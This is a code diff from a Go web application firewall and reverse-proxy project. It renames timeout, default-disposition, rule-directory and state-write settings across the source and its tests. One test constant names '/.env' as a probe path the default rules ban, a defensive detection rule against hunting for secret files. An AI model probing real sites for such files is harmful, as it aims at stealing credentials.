@@ -1279,11 +1274,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionAllow ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf(
|
||||
"line %v, want allow and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
line["default_disposition"] != true {
|
||||
t.Errorf("line %v, want allow by default", line)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -1298,8 +1290,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
timeoutSetting: "200",
|
||||
defaultDisposition: dispositionDeny,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1310,21 +1302,18 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf(
|
||||
"line %v, want deny and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
line["default_disposition"] != true {
|
||||
t.Errorf("line %v, want deny by default", line)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1341,8 +1330,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
timeoutSetting: "60000",
|
||||
defaultDisposition: disposition,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1354,7 +1343,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != 0.0 || line["disposition"] != nil ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want status 0 and no disposition", line)
|
||||
}
|
||||
|
||||
@@ -1367,9 +1356,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, greet)
|
||||
@@ -1387,7 +1374,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1451,7 +1438,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1494,7 +1481,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
// The time limit is long enough for a loaded host to answer the question before
|
||||
// it runs out.
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "3000",
|
||||
timeoutSetting: "3000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1524,7 +1511,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1612,7 +1599,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
backend.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "5000",
|
||||
timeoutSetting: "5000",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1905,10 +1892,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
if line["waf_backend_no_answer"] != nil {
|
||||
if line["default_disposition"] != nil {
|
||||
t.Errorf(
|
||||
"waf_backend_no_answer is %v, want it left out",
|
||||
line["waf_backend_no_answer"],
|
||||
"default_disposition is %v, want it left out",
|
||||
line["default_disposition"],
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
+11
-12
@@ -67,16 +67,15 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
rq.answer(http.StatusBadGateway)
|
||||
default:
|
||||
// waf cannot be connected to, does not answer at all, or does not answer
|
||||
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf
|
||||
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
|
||||
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
|
||||
// here. deny closes this, at the cost of answering 503 whenever waf is
|
||||
// slow. Making such requests hard to send is
|
||||
// within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
|
||||
// SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||
// SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||
// whenever waf is slow. Making such requests hard to send is
|
||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||
|
||||
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
|
||||
rq.wafNoAnswer = true
|
||||
rq.disposition = rq.h.config.DefaultDisposition
|
||||
rq.byDefault = true
|
||||
|
||||
if rq.disposition == waf.DispositionAllow {
|
||||
rq.passToApp(ctx)
|
||||
@@ -87,10 +86,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
}
|
||||
|
||||
// ask sends waf the question, and returns its answer, which must have come
|
||||
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
|
||||
// when the visitor goes away.
|
||||
// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||
// away.
|
||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
|
||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
question, err := rq.newQuestion(ctx)
|
||||
@@ -243,14 +242,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
||||
}
|
||||
|
||||
// postReport posts report to waf, and waits for its answer for up to
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
|
||||
// SWW_RPROXY_TIMEOUT_MS.
|
||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||
body, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode the report: %w", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
|
||||
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package rules reads the rule files: the plain text files in
|
||||
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
|
||||
// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
|
||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||
// at start, and again once the directory has had no change for a short
|
||||
// time after one is edited, added or removed.
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// extension ends the name of every rule file.
|
||||
const extension = ".rules"
|
||||
|
||||
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
|
||||
// quietTime is how long SWW_WAF_RULES_DIR must go without a change before
|
||||
// the rule files are read again, so that a file still being written, such
|
||||
// as one saved in place, appended to or copied in with scp, is read only
|
||||
// once whole.
|
||||
@@ -103,9 +103,9 @@ type Rule struct {
|
||||
|
||||
// Params are what Load needs.
|
||||
type Params struct {
|
||||
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
|
||||
// Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
|
||||
Dir string
|
||||
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
|
||||
// Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
|
||||
// and no rule loaded.
|
||||
Enabled bool
|
||||
// ProcessLog receives how many rules were read, and the error in a
|
||||
@@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, dir, fmt.Errorf(
|
||||
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
|
||||
"SWW_WAF_RULES_DIR cannot be read: %w",
|
||||
err,
|
||||
)
|
||||
}
|
||||
@@ -310,7 +310,7 @@ func readFile(
|
||||
rules []Rule,
|
||||
places map[string]string,
|
||||
) ([]Rule, error) {
|
||||
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
|
||||
//nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
||||
wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory")
|
||||
}
|
||||
|
||||
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
|
||||
// SWW_WAF_RULES_DIR does not exist, which would stop the start.
|
||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||
params.Enabled = false
|
||||
|
||||
|
||||
@@ -123,11 +123,11 @@ type Params struct {
|
||||
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
||||
Dir string
|
||||
CacheDir string
|
||||
// BansWriteDelay is how long after a ban is made bans.json is written
|
||||
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
|
||||
// is (SWW_WAF_STATE_WRITE_INTERVAL).
|
||||
BansWriteDelay time.Duration
|
||||
WriteInterval time.Duration
|
||||
// WriteDelay is how long after a ban is made bans.json is written
|
||||
// (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
|
||||
// is (SWW_WAF_STATE_COUNTER_INTERVAL).
|
||||
WriteDelay time.Duration
|
||||
CounterInterval time.Duration
|
||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
||||
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
||||
@@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
|
||||
// made in between, and every file every WriteInterval, until ctx is
|
||||
// Run writes bans.json WriteDelay after a ban is made, with every ban
|
||||
// made in between, and every file every CounterInterval, until ctx is
|
||||
// done. A write that fails is logged, raised as a file_error alert, and
|
||||
// the file is written again at its next write. Each write takes in an
|
||||
// admin's edit of its file first, as writeFile describes.
|
||||
func (f *Files) Run(ctx context.Context) {
|
||||
interval := time.NewTicker(f.params.WriteInterval)
|
||||
interval := time.NewTicker(f.params.CounterInterval)
|
||||
defer interval.Stop()
|
||||
|
||||
var bansDue <-chan time.Time // nil while no ban waits to be written
|
||||
@@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) {
|
||||
return
|
||||
case <-f.params.Ledger.Changed():
|
||||
if bansDue == nil {
|
||||
bansDue = time.After(f.params.BansWriteDelay)
|
||||
bansDue = time.After(f.params.WriteDelay)
|
||||
}
|
||||
case <-bansDue:
|
||||
bansDue = nil
|
||||
|
||||
@@ -1273,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
||||
// returns once Run waits for its next write, so that every write due by
|
||||
// then is on disk.
|
||||
|
||||
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
||||
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.BansWriteDelay = 10 * time.Second
|
||||
params.WriteDelay = 10 * time.Second
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// A second ban, made while the first waits to be written, puts the
|
||||
@@ -1318,19 +1318,19 @@ func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
||||
// the second ban. The other files wait for the interval, an hour
|
||||
// away.
|
||||
removeFiles(t, dir, bansJSON)
|
||||
time.Sleep(params.BansWriteDelay)
|
||||
time.Sleep(params.WriteDelay)
|
||||
synctest.Wait()
|
||||
wantFiles(t, dir)
|
||||
})
|
||||
}
|
||||
|
||||
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
|
||||
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.WriteInterval = time.Minute
|
||||
params.CounterInterval = time.Minute
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// The files are removed once written, so that each interval shows
|
||||
@@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.BansWriteDelay = 10 * time.Second
|
||||
params.WriteDelay = 10 * time.Second
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// A ban, and bans.json written with it.
|
||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
||||
midnight(), bans.Notes{})
|
||||
time.Sleep(params.BansWriteDelay)
|
||||
time.Sleep(params.WriteDelay)
|
||||
synctest.Wait()
|
||||
|
||||
// A second ban is to be written BansWriteDelay later. Just before
|
||||
// A second ban is to be written WriteDelay later. Just before
|
||||
// then, an admin saves bans.json with the first ban lifted and
|
||||
// another added.
|
||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
||||
midnight(), bans.Notes{})
|
||||
time.Sleep(params.BansWriteDelay - time.Nanosecond)
|
||||
time.Sleep(params.WriteDelay - time.Nanosecond)
|
||||
synctest.Wait()
|
||||
edit(t, dir, bansJSON, permanentBansJSON)
|
||||
|
||||
@@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.WriteInterval = time.Minute
|
||||
params.CounterInterval = time.Minute
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// A directory in the way of the temporary file of clients.json, a
|
||||
@@ -2404,16 +2404,16 @@ func newParams(dir string) state.Params {
|
||||
})
|
||||
|
||||
return state.Params{
|
||||
Dir: dir,
|
||||
CacheDir: dir,
|
||||
BansWriteDelay: time.Hour,
|
||||
WriteInterval: time.Hour,
|
||||
Dir: dir,
|
||||
CacheDir: dir,
|
||||
WriteDelay: time.Hour,
|
||||
CounterInterval: time.Hour,
|
||||
Ledger: bans.New(bans.Params{
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: 24 * time.Hour,
|
||||
LimitBanPermanentAbove: 7 * 24 * time.Hour,
|
||||
AttackBanDuration: 7 * 24 * time.Hour,
|
||||
MaxBans: 5000,
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: 24 * time.Hour,
|
||||
MaxBanDuration: 7 * 24 * time.Hour,
|
||||
AttackBanDuration: 7 * 24 * time.Hour,
|
||||
MaxBans: 5000,
|
||||
}),
|
||||
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
|
||||
GeoJS: lookup.New(lookup.Params{
|
||||
@@ -2447,7 +2447,7 @@ func newParams(dir string) state.Params {
|
||||
RequestsPerMinute: 1000,
|
||||
BytesPerMinute: 1 << 30,
|
||||
},
|
||||
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||
NetV4Prefix: 24,
|
||||
NetV6Prefix: 48,
|
||||
NamedNetblocks: []anomaly.NamedNetblock{
|
||||
|
||||
@@ -33,9 +33,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
||||
out := &output{}
|
||||
exited := make(chan int, 1)
|
||||
settings := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
}
|
||||
|
||||
go func() {
|
||||
@@ -120,12 +120,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
||||
|
||||
// Another setting does not fail it, even an invalid one, and neither does
|
||||
// SWW_RPROXY_WAF_BACKEND being unset.
|
||||
wantHealthCheck(
|
||||
t,
|
||||
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
|
||||
0,
|
||||
"",
|
||||
)
|
||||
wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
|
||||
|
||||
// Another test can take a closed server's port at once, so the app's
|
||||
// address here is a multicast address, to which TCP cannot connect.
|
||||
|
||||
@@ -15,11 +15,10 @@ import (
|
||||
|
||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||
// requests until ctx is done. Then it gives the requests in progress
|
||||
// shutdownTimeout to finish, and the reports being sent
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
||||
// when rproxy cannot start. Its process messages name the host's name as
|
||||
// instance, and it writes those at info or more severe: rproxy has no
|
||||
// setting for either.
|
||||
// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
|
||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||
// messages name the host's name as instance, and it writes those at info or
|
||||
// more severe: rproxy has no setting for either.
|
||||
func RunRProxy(ctx context.Context, params Params) int {
|
||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||
processLog := requestlog.NewProcessLogger(
|
||||
|
||||
+12
-13
@@ -31,8 +31,8 @@ const (
|
||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||
// rproxyUpstreamURL is the setting that says where the app is.
|
||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
||||
// bannedProbe is a path the default rule file bans a client for.
|
||||
bannedProbe = "/.env"
|
||||
// otherClient is a client the tests do not ban.
|
||||
@@ -135,9 +135,9 @@ func wafSettings(t *testing.T) map[string]string {
|
||||
t.Helper()
|
||||
|
||||
return map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -241,13 +241,12 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
||||
forwardTo("")
|
||||
stop()
|
||||
|
||||
// With waf down, the site answers, and rproxy says
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
||||
// With waf down, the site answers, and rproxy says the default did it.
|
||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||
|
||||
line := out.line(t, "path", "/after-stop")
|
||||
if line["disposition"] != waf.DispositionAllow ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
line["default_disposition"] != true {
|
||||
t.Errorf("rproxy's line is %v", line)
|
||||
}
|
||||
|
||||
@@ -476,7 +475,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
||||
}
|
||||
|
||||
line := out.line(t, "path", "admin")
|
||||
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
if line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf("rproxy's line is %v, want no disposition", line)
|
||||
}
|
||||
}
|
||||
@@ -497,7 +496,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
||||
|
||||
line := out.line(t, "path", bannedProbe)
|
||||
if line["client_ip"] != "2001:db8::1" ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf("rproxy's line is %v", line)
|
||||
}
|
||||
}
|
||||
@@ -692,7 +691,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
||||
env := map[string]string{
|
||||
rproxyListenAddr: localhost + ":0",
|
||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||
wafBackendTimeout: "60000",
|
||||
rproxyTimeout: "60000",
|
||||
wafBackend: backend.URL,
|
||||
}
|
||||
out := &output{}
|
||||
@@ -856,8 +855,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
||||
}{
|
||||
{"no backend", wafBackend, nil},
|
||||
{
|
||||
"another invalid", wafBackendTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||
"another invalid", rproxyTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
|
||||
+29
-29
@@ -116,7 +116,7 @@ func RunWAF(ctx context.Context, params Params) int {
|
||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||
config.InstanceName(params.Viper), slog.LevelError)
|
||||
|
||||
cfg, err := config.WAFFromEnvironment(params.Viper)
|
||||
cfg, err := config.FromEnvironment(params.Viper)
|
||||
if err != nil {
|
||||
return cannotStart(processLog, "invalid setting", err)
|
||||
}
|
||||
@@ -159,7 +159,7 @@ func RunWAF(ctx context.Context, params Params) int {
|
||||
func runWAFWithSettings(
|
||||
ctx context.Context,
|
||||
version string,
|
||||
cfg *config.WAF,
|
||||
cfg *config.Config,
|
||||
stdout io.Writer,
|
||||
remote *remotelog.Sender,
|
||||
processLog *slog.Logger,
|
||||
@@ -170,8 +170,8 @@ func runWAFWithSettings(
|
||||
alertQueue := newAlertQueue(cfg, now, processLog)
|
||||
|
||||
ruleFiles, err := rules.Load(rules.Params{
|
||||
Dir: cfg.RuleFilesDir,
|
||||
Enabled: cfg.RuleFilesEnabled,
|
||||
Dir: cfg.RulesDir,
|
||||
Enabled: cfg.RulesEnabled,
|
||||
ProcessLog: processLog,
|
||||
Alerts: alertQueue,
|
||||
})
|
||||
@@ -246,7 +246,7 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
|
||||
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
||||
// database that cannot be read is an error.
|
||||
func newServer(
|
||||
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger,
|
||||
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
||||
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
|
||||
crs *coreruleset.CoreRuleSet,
|
||||
) (*waf.Server, error) {
|
||||
@@ -293,33 +293,33 @@ func newServer(
|
||||
// loadStateFiles reads the state and cache files into the parts of server and
|
||||
// into alertQueue, as state.Load does.
|
||||
func loadStateFiles(
|
||||
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue,
|
||||
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
|
||||
now func() time.Time, processLog *slog.Logger,
|
||||
) (*state.Files, error) {
|
||||
return state.Load(state.Params{
|
||||
Dir: cfg.StateDir,
|
||||
CacheDir: cfg.CacheDir,
|
||||
BansWriteDelay: cfg.BansWriteDelay,
|
||||
WriteInterval: cfg.StateWriteInterval,
|
||||
Ledger: server.Ledger,
|
||||
Limiter: server.Limiter,
|
||||
GeoJS: server.GeoJS,
|
||||
Lists: server.Lists,
|
||||
DNSBL: server.DNSBL,
|
||||
AbuseIPDB: server.AbuseIPDB,
|
||||
RouteWatch: server.RouteWatch,
|
||||
Alerts: alertQueue,
|
||||
Anomalies: server.Anomalies,
|
||||
Now: now,
|
||||
ProcessLog: processLog,
|
||||
Metrics: server.Metrics,
|
||||
Dir: cfg.StateDir,
|
||||
CacheDir: cfg.CacheDir,
|
||||
WriteDelay: cfg.StateWriteDelay,
|
||||
CounterInterval: cfg.StateCounterInterval,
|
||||
Ledger: server.Ledger,
|
||||
Limiter: server.Limiter,
|
||||
GeoJS: server.GeoJS,
|
||||
Lists: server.Lists,
|
||||
DNSBL: server.DNSBL,
|
||||
AbuseIPDB: server.AbuseIPDB,
|
||||
RouteWatch: server.RouteWatch,
|
||||
Alerts: alertQueue,
|
||||
Anomalies: server.Anomalies,
|
||||
Now: now,
|
||||
ProcessLog: processLog,
|
||||
Metrics: server.Metrics,
|
||||
})
|
||||
}
|
||||
|
||||
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
|
||||
// ntfy, with the settings for them.
|
||||
func newAlertQueue(
|
||||
cfg *config.WAF, now func() time.Time, processLog *slog.Logger,
|
||||
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
|
||||
) *alerts.Queue {
|
||||
return alerts.New(alerts.Params{
|
||||
WebhookURL: cfg.AlertWebhookURL,
|
||||
@@ -338,13 +338,13 @@ func newAlertQueue(
|
||||
|
||||
// newRemoteLogSender returns a sender of the log lines to
|
||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
||||
return remotelog.New(remotelog.Params{
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
BufferLines: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
Buffer: cfg.LogRemoteBuffer,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
||||
Scheme: remotelog.SchemeTCP,
|
||||
Host: "127.0.0.1:65536",
|
||||
},
|
||||
BufferLines: 1,
|
||||
Buffer: 1,
|
||||
})
|
||||
|
||||
stopSending := startSending(t.Context(), sender,
|
||||
|
||||
+66
-70
@@ -34,20 +34,20 @@ const (
|
||||
// testVersion is the version the tests give sww.
|
||||
testVersion = "test"
|
||||
// localhost is where the tests listen.
|
||||
localhost = "127.0.0.1"
|
||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||
stateDir = "SWW_WAF_STATE_DIR"
|
||||
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
|
||||
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
|
||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
||||
